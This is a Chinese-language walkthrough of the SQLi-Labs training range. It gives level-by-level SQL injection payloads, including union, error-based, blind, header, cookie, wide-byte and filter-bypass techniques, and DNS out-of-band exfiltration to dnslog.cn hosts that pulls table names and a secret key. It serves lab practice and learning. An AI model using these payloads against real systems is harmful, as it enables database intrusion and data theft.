SQLi-Labs靶场总结
SQLi-Labs靶场总结
普通注入
1
http://127.0.0.1/sqli-labs/Less-1/
?id=1’ union select 1,2,group_concat(username,0x3a,password) from security.users limit 1,1–+
2
http://localhost/sqli/Less-2/?id=-1 union select 1,@@datadir,@@basedir–+
7 ‘))
http://127.0.0.1/sqli-labs/Less-7/
?id=1’)) and sleep(5)–+
如果是字符型注入,以后均用延时注入来判断引号闭合方式
eg:http://127.0.0.1/sqli-labs/Less-8/?id=1' and sleep(5)–+
13 ‘)
HTTP头部注入
18
user-agent注入 ‘,’a’,extractvalue(0x0a,concat(0x0a,(select database()))))#
注意将报错语句写入到VALUES()里面
19
refer注入:Referer: http://127.0.0.1/sqli-labs/Less-19/',extractvalue(0x0a,concat(0x0a,(select database()))))#
cookie注入
20
cookie注入:Cookie: uname=admin’ and extractvalue(0x0a,concat(0x0a,(select database())))#
base64注入
21 ‘)
base64注入:Cookie:YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDB4MGEsY29uY2F0KDB4MGEsKHNlbGVjdCBkYXRhYmFzZSgpKSkpIw==
22 “
base64注入:Cookie:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMHgwYSxjb25jYXQoMHgwYSwoc2VsZWN0IGRhdGFiYXNlKCkpKSkj
23 and ‘1’=’1
#和–被过滤掉
那么对于最后一个单引号可以使用如上闭合方式
当union select1,2,3无回显时,记着后加limit1,1
二次注入
24关
参见https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49 第24关解读
25
注意and<=>&& or<=>||
当我发送http://127.0.0.1/sqli-labs/Less-25/?id=1' && ‘1’=’1是不行的因为有空格服务器会认为id=1’
http://127.0.0.1/sqli-labs/Less-25/?id=1'&&'1'='1也是不行的因为服务器依然会认为id=1'
必须给&编码http://127.0.0.1/sqli-labs/Less-25/?id=1'%26%26'1'='1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
26
http://127.0.0.1/sqli-labs/Less-26/?id=1'%26%26length(database())=8%26%26'1'='1
过滤了注释,空格以及and和or等,可用&&和||,双写绕过以及空格编码绕过,具体见国光blog
27
http://127.0.0.1/sqli-labs/Less-26/?id=1'%20%26%26%20length(database())=8%20%26%26%20'1'='1
过滤了union和select可以使用如上布尔盲注
28 28相比27只是闭合方式变为了”
http://127.0.0.1/sqli-labs/Less-26a/?id=1"%26%26length(database())=8%26%26"1"="1
注意id参数内容有空格或者&等符号必须进行编码
后方的闭合方式不仅有#,–+还有and ‘1’=1’,&&’1’=’1
28a
http://127.0.0.1/sqli-labs/Less-28a/?id=1')%26%26sleep(5)%26%26('1')=(‘1 //通过这个知道引号的闭合方式为’)
http://127.0.0.1/sqli-labs/Less-28a/?id=1')%26%26length(database())=8%26%26('1')=(‘1 //通过这个布尔盲注
30
简单分析一下:
输入id=1正常回显
输入id=1’正常回显,猜测可能闭合方式为”,因为”1’”会被当作”1”执行
输入id=1”无回显,猜测可能极大概率闭合方式为”,因为报错了所以无查询结果回显
输入id=1”%26%26”1”=”1正常回显,说明闭合方式为”
payload:http://127.0.0.1/sqli-labs/Less-30/?id=1"%26%26length(database())=8%26%26"1"="1
31
拼接方式 “)
宽字节注入
32
本关卡会给引号加/
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df 吃掉
具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
payload:http://127.0.0.1/sqli-labs/Less-32/?id=1%df' union select 1,2,database() limit 1,1–+
33
利用宽字节注入绕过addlashes()
以后#,空格,&符号要进行url编码
34
正常返回为:
尝试username处有没有注入,输入admin’,发现被加反斜杠:
尝试宽字节注入:
返回如下,说明成功绕过:
联合注入:
抓包修改
Payload:username=admin%df’%20union%20select%201,2%20limit1,1%23
返回:
列数不同,尝试一列:
Payload:username=admin%df’%20union%20select%201%20limit1,1%23
成功
继续payload:uname=admin%df’%20union%20select%20database()%20limit1,1%23
35
输入http://127.0.0.1/sqli-labs/Less-35/?id=1'
发现报错如下:
说明是数字型注入,构造payload:
[http://127.0.0.1/sqli-labs/Less-35/?id=1%20and%20length(database())=8%23](http://127.0.0.1/sqli-labs/Less-35/?id=1 and length(database())=8%23)
回显正常,bool盲注成功:
36
对于mysql_real_escape_string也可以使用宽字节注入
37
同样mysql_real_escape_string所以使用宽字节注入
成功
堆叠查询
38
https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-55
利用SQL注入漏洞外带查询
https://www.cnblogs.com/renhaoblog/p/12912452.html
http://127.0.0.1/sqli-labs/Less-38/?id=1';select 1,2,load_file(concat(“\\“,hex(database()),”.1qk5u8.dnslog.cn\a.txt”))–+
45
密码处存在注入
Orderby注入
46
手法:
报错注入
布尔盲注:用order by rand(true)order by rand(false)
危害:
脱库
getshell
52
尝试127.0.0.1/sqli-labs/Less-52/?sort1’%23
发现无返回,应该是拼接方式错了
继续尝试数字型
正常返回,说明是数字型注入
因为没有报错,所以无法使用报错注入,尝试布尔盲注
首先输入sort=rand(true)#,返回如下
继续输入sort=rand(false)#,返回如下
回显不同,说明可以用布尔盲注,输入?sort=rand(length(database())=7)#,返回如下说明括号内判断式为false
继续尝试?sort=rand(length(database())=8)#,返回如下说明括号内判断式为true
注入成功,数据库长度为8
挑战
57
http://192.168.250.15/sqli-labs/Less-57/?id=1'%20and%20sleep(5)%23 //结果没有延时,说明不是单引号
http://192.168.250.15/sqli-labs/Less-57/?id=1"%20and%20sleep(5)%23 //结果延时,说明是双引号
联合注入
http://192.168.250.15/sqli-labs/Less-57/?id=1"%20union%20select%201,2,3%20limit%201,1%23
成功回显2,3
DNSlog带外注入
58
输入http://192.168.250.15/sqli-labs/Less-58/index.php/?id=1%27%20and%20sleep(5)%23成功延时五秒,说明闭合方式为单引号
尝试联合注入http://192.168.250.15/sqli-labs/Less-58/index.php/?id=1%27%20union%20select%201,2,3%20limit%201,1%23
回显如下
说明无法用联合注入回显到页面,因为总共只有五次机会所以只能联合注入,所以尝试dnslog外带注入,即将执行结果输出到dnslog中去:
获取域名服务器
构建语句
http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select group_concat(table_name) from information_schema.tables where table_schema=database()),%27.fkxo4a.dnslog.cn/abc.txt%27))%23
然后点击refresh record,看见表名已经输出出来了
注:有时候特殊字符不能被输出则用http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),%27.fkxo4a.dnslog.cn/abc.txt%27))%23
然后爆字段名
http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(column_name)) from information_schema.columns where table_name=’o5bhxcnlvf’),%27.fkxo4a.dnslog.cn/abc.txt%27))%23
成功回显,说明语句执行成功,可去dnslog处查看:
点击refresh record,看见字段已经输出出来了
用burp尽心十六进制解码得字段名为:
输出数据:
http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(sessid,secret_4DTV,tryy)) from challanges.o5bhxcnlvf),%27.fkxo4a.dnslog.cn/abc.txt%27))%23
得到密钥lwWTMDXztKcFyz5jgPoOcJ6i成功
59
输入?id=1%20and%20sleep(5)%23成功延时,所以数字型注入
并且有报错,可尝试报错注入
60
输入?id=1”) and sleep(5)%23成功延时,所以闭合方式为”)
有报错可以尝试报错注入,联合注入等
61
输入?id=1”)) and sleep(5)%23成功延时,所以闭合方式为”))
有报错可以尝试报错注入,联合注入等
62
输入?id=1’) and sleep(5)%23成功延时,所以闭合方式为‘)
没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注
63
输入?id=1’ and sleep(5)%23成功延时,所以闭合方式为’
没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注
64
输入?id=1’ and sleep(5)%23成功延时,所以闭合方式为’
没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注
编码问题
对于例如?id=1’ and sleep(5)#
在浏览器搜索框可以输入为?id=1’ and sleep(5)%23,因为浏览器会给我们自动url编码
而在hackbar和burp中要输入的是url编码后的payload,即?id=1%27%20and%20sleep(5)#
注:payload中有&等符号一样要进行编码,&是%26
判断引号闭合方式
- 最简单的就是?id=1’%23 ?id=1”%23等等如果有好几种闭合方式都正常返回,那么就用方法2
- ?id=1’ and ‘1’=’1 ?id=1” and “1”=”1如果还是均正常返回尝试方法3
- ?id=1’ and sleep(5)%23 ?id=1” and sleep(5)%23哪一个延时了就是正确的闭合方式,无论有没有正常回显
常见闭合方式
- 数字型
- ‘ ‘
- “ “
- ( )
- (( ))
- (‘ ‘)
- (“ “)
- ((‘ ‘))
- ((“ “))
注:以后payload中的#全部改写为%23,因为浏览器会认为#是锚点从而不算在id参数内容里面
当执行结果无法通过布尔盲注或者联合查询注入进行显示的话,可以尝试将执行结果通过dnslog带外注入输出到dnslog中去